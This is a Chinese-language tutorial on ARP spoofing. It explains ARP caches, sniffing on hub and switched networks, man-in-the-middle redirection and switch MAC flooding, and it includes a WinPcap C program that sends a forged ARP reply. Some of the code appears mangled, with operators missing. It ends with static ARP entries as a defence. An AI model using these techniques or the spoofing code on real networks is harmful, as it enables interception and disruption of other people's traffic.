案例讲解怎么对目标进行ARP欺骗

以太网内的嗅探sniff对于网络安全来说并不是什么好事， 虽然对于网络管理员能够跟踪数据包并且发现网络问题， 但是如果被破坏者利用的话， 就对整个网络构成严重的安全威胁。

ARP缓存表假设这样一个网络： 

E cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=left 
  borderColorLight=black border=1>——————————  HUB  ——————————HostA HostB HostC

其中：

A的地址为：IP：192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

B的地址为：IP：192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

C的地址为：IP：192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

假设B是属于一个嗅探爱好者的， 比如A机器的ARP缓存：

C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

这是192.168.10.1机器上的ARP缓存表， 假设， A进行一次ping 192.168.10.3操作， PING主机C， 会查询本地的ARP缓存表， 找到C的IP地址的MAC地址， 那么就会进行数据传输， 目的地就是C 的MAC地址。 如果A中没有C的ARP记录， 那么A首先要广播一次ARP请求， 当C接收到A 的请求后就发送一个应答， 应答中包含有C的MAC地址， 然后A接收到C的应答， 就会更新本地的ARP缓存。 接着使用这个MAC地址发送数据（由网卡附加MAC地址）。 因此， 本地高速缓存的这个ARP表是本地网络流通的基础， 而且这个缓存是动态的。

集线器网络(Hub-Based)

很多网络都是用Hub进行连接的。 数据包经过Hub传输到其他计算机的时候， Hub只是简单地把这个数据包广播到Hub的所有端口上。 这就是上面举例中的一种网络结构。

现在A需要发送TCP数据包给C。 首先， A需要检查本地的ARP 缓存表， 查看是否有IP为192.168.10.3即C的ARP记录， 如果没有那么A将要广播一个ARP请求， 当C接收到这个请求后， 就作出应答， 然后A更新自己的ARP缓存表。 并获得与C的IP相对应的MAC地址。 这时就传输这个TCP数据包， Ethernet帧中就包含了C的MAC地址。 当数据包传输到HUB的时候， HUB直接把整个数据包广播到所有的端口， 然后C就能够接收到A发送的数据包。

正因为HUB把数据广播到所有的端口， 所以计算机B也能够收到A发送给C的数据包。 这正是达到了B嗅探的目的。 因此， Hub-Based的网络基本没有安全可言， 嗅探在这样的网络中非常容易。

交换网络（Switched Lan）

交换机用来代替HUB， 正是为了能够解决HUB的几个安全问题， 其中就是能够来解决嗅探问题。 Switch不是把数据包进行端口广播， 它将通过自己的ARP缓存来决定数据包传输到那个端口上。 因此， 在交换网络上， 如果把上面例子中的HUB换为Switch， B就不会接收到A发送给C的数据包， 即便设置网卡为混杂模式， 也不能进行嗅探。

ARP欺骗（ARP spoofing）

ARP协议并不只在发送了ARP请求才接收ARP应答。 当计算机接收到ARP应答数据包的时候， 就会对本地的ARP缓存进行更新， 将应答中的IP和MAC地址存储在ARP缓存中。 因此， 在上面的假设网络中， B向A发送一个自己伪造的ARP应答， 而这个应答中的数据为发送方IP地址是192.168.10.3（C的IP地址）， MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地址本来应该是CC-CC-CC-CC-CC-CC， 这里被伪造了）。 当A接收到B伪造的ARP应答， 就会更新本地的ARP缓存（A可不知道被伪造了）。 现在A机器的ARP缓存更新了：

C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

这可不是小事。 局域网的网络流通可不是根据IP地址进行， 而是按照MAC地址进行传输。 现在192.168.10.3的MAC地址在A上被改变成一个本不存在的MAC地址。 现在A开始Ping 192.168.10.3， 网卡递交的MAC地址是DD-DD-DD-DD-DD-DD， 结果是什么呢？网络不通， A根本不能Ping通C！！这就是一个简单的ARP欺骗。

我们来实现这样的ARP欺骗。 这里需要使用一个WinPcap提供的API和驱动。 （http://winpcap.polito.it/）， winpcap是一个伟大而且开放的项目。 Windows环境下的nmap、snort、windump都是使用的winpcap。

// ARP Sender#include "stdafx.h"#include "Mac.h" //GetMacAddr()， 我写的把字符串转换为MAC地址的函数， 就不列在这里了#include #include #define EPT_IP 0x0800 /* type: IP */#define EPT_ARP 0x0806 /* type: ARP */#define EPT_RARP 0x8035 /* type: RARP */#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */#define ARP_REQUEST 0x0001 /* ARP request */#define ARP_REPLY 0x0002 /* ARP reply */#define Max_Num_Adapter 10#pragma pack(push, 1)typedef struct ehhdr {unsigned char eh_dst[6]; /* destination ethernet addrress */unsigned char eh_src[6]; /* source ethernet addresss */unsigned short eh_type; /* ethernet pachet type */}EHHDR, *PEHHDR;typedef struct arphdr{unsigned short arp_hrd; /* format of hardware address */unsigned short arp_pro; /* format of protocol address */unsigned char arp_hln; /* length of hardware address */unsigned char arp_pln; /* length of protocol address */unsigned short arp_op; /* ARP/RARP operation */unsigned char arp_sha[6]; /* sender hardware address */unsigned long arp_spa; /* sender protocol address */unsigned char arp_tha[6]; /* target hardware address */unsigned long arp_tpa; /* target protocol address */}ARPHDR, *PARPHDR;typedef struct arpPacket{EHHDR ehhdr;ARPHDR arphdr;} ARPPACKET, *PARPPACKET;#pragma pack(pop)int main(int argc, char* argv[]){static char AdapterList[Max_Num_Adapter][1024]; char szPacketBuf[600];char MacAddr[6];LPADAPTER lpAdapter;LPPACKET lpPacket;WCHAR AdapterName[2048];WCHAR *temp,*temp1;ARPPACKET ARPPacket;ULONG AdapterLength = 1024;int AdapterNum = 0;int nRetCode, i;###NextPage###//Get The list of Adapterif(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE){printf("Unable to retrieve the list of the adapters!\n");return 0;}temp = AdapterName;temp1=AdapterName;i = 0;while ((*temp != \0)  (*(temp-1) != \0)){if (*temp == \0) {memcpy(AdapterList,temp1,(temp-temp1)*2);temp1=temp+1;i++;}temp++;}AdapterNum = i;for (i = 0; i < AdapterNum; i++)wprintf(L"\n%d- %s\n", i+1, AdapterList);printf("\n");//Default open the 0lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);//取第一个网卡（假设啦）if (!lpAdapter    (lpAdapter->hFile == INVALID_HANDLE_VALUE)){nRetCode = GetLastError();printf("Unable to open the driver, Error Code : %lx\n", nRetCode);return 0;}lpPacket = PacketAllocatePacket();if(lpPacket == NULL){printf("\nError:failed to allocate the LPPACKET structure.");return 0;}ZeroMemory(szPacketBuf, sizeof(szPacketBuf));if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)){printf ("Get Mac address error!\n");}memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。  （A的地址）ARPPacket.ehhdr.eh_type = htons(EPT_ARP);ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);ARPPacket.arphdr.arp_pro = htons(EPT_IP);ARPPacket.arphdr.arp_hln = 6;ARPPacket.arphdr.arp_pln = 4;ARPPacket.arphdr.arp_op = htons(ARP_REPLY);if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));PacketInitPacket(lpPacket, szPacketBuf, 60);if(PacketSetNumWrites(lpAdapter, 2)==FALSE){printf("warning: Unable to send more than one packet in a single write!\n");}if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE){printf("Error sending the packets!\n");return 0;}printf ("Send ok!\n");###NextPage###// close the adapter and exitPacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);return 0;} 

于是A接收到一个被伪造的ARP应答。 A被欺骗了！！倘若在局域网中看某某机器不顺眼， 以太网中的嗅探太有作用了， 但是交换网络对嗅探进行了限制， 让嗅探深入程度大打折扣。 不过， 很容易就能够发现， 主机、Switch（动态更新地址表类型， 下同）中的缓存表依然是（主要是）动态的。 要在一个交换网络中进行有效的嗅探工作（地下党？）， 需要采用对付各种缓存表的办法， 连骗带哄， 甚至乱踹， 在上面的ARP欺骗基础中我们就能够做到。

对目标进行ARP欺骗

就象上面程序中实现的一样， 对目标A进行欺骗， A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。 如果进行欺骗的时候， 把C的MAC地址骗为BB-BB-BB-BB-BB-BB， 于是A发送到C上的数据包都变成发送给B的了。 这不正好是B能够接收到A发送的数据包了么， 嗅探成功。

A对这个变化一点都没有意识到， 但是接下来的事情就让A产生了怀疑。 因为A和C连接不上了！！B对接收到A发送给C的数据包可没有转交给C。 做“man in the middle”,进行ARP重定向。 打开B的IP转发功能， A发送过来的数据包， 转发给C， 好比一个路由器一样。 不过， 假如B发送ICMP重定向的话就中断了整个计划。 直接进行整个包的修改转发， 捕获到A发送给的数据包， 全部进行修改后再转发给C， 而C接收到的数据包完全认为是从A发送来的。 不过， C发送的数据包又直接传递给A， 倘若再次进行对C的ARP欺骗。 现在B就完全成为A与C的中间桥梁了。

对Switch的MAC欺骗

Switch上同样维护着一个动态的MAC缓存， 它一般是这样， 首先， 交换机内部有一个对应的列表， 交换机的端口对应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址， 这个表开始是空的， 交换机从来往数据帧中学习。 举例来说， 当Port 1口所接的计算机发出了一个数据帧， 这帧数据从Port 1进入交换机， 交换机就取这个数据帧的原MAC地址AAAA， 然后在地址表中记录：Port 1 <-> AAAA, 以后， 所有发向MAC地址为AAAA的数据帧， 就全从Port 1口输出， 而不会从其它的口输出。

跟前面对目标进行欺骗相类似。 如果把Switch上的MAC-PORT表修改了， 那么对应的MAC和PORT就一样跟着改变， 本来不应该发送到嗅探器的数据结果发送过来了， 这样也达到了嗅探的目的。 修改本地（B）发送的数据包MAC地址为原来A的MAC地址， 当经过交换机的时候， 交换机发现端口B对应的地址是机器A的MAC地址， 于是就将会把A的MAC地址同端口B相对应， 从而把发送给A的数据从端口B传输了， 本来这些应该是传送到端口A的。 因此， 从机器B就能够获得发送给A的数据。

但是， 这里有一个问题， A将接收不到数据了。 嗅探不目的并不是要去破坏正常的数据通讯。 同时， 从刚才的欺骗中， 让交换机中一个MAC地址对应了多个端口， 这种对于交换机处理还不清楚。 还请多指教。

对Switch进行Flood

就象上面介绍Switch的MAC和Port对应关系形成的原理， 因为MAC-PORT缓存表是动态更新的， 那么让整个Switch的端口表都改变， 对Switch进行MAC地址欺骗的Flood， 不断发送大量假MAC地址的数据包， Switch就更新MAC-PORT缓存， 如果能通过这样的办法把以前正常的MAC和Port对应的关系破坏了， 那么Switch就会进行泛洪发送给每一个端口， 让Switch基本变成一个HUB， 向所有的端口发送数据包， 要嗅探的目的一样能够达到。

存在的问题， Switch对这种极限情况的处理， 因为属于不正常情况， 可能会引起包丢失情况。 而且现在对这种极限情况的Switch状态还很不了解。 如果对网络通讯造成了大的破坏， 这不属于正常的嗅探（嗅探也会引起一些丢失）。

对Switch进行各种手段的操作， 需要小心， 如果打开了端口保护， 那么可能会让交换机关闭所有用户。 因此， 对交换机这样的设备进行欺骗或者其他操作， 还不如对一些上级设备进行欺骗， 比如目标主机或者路由器。

至于上面关于嗅探的手段都是基于这个动态表进行的。 因此， 使用静态的ARP就能够进行防范了。 对于WIN， 使用arp -s 来进行静态ARP的设置。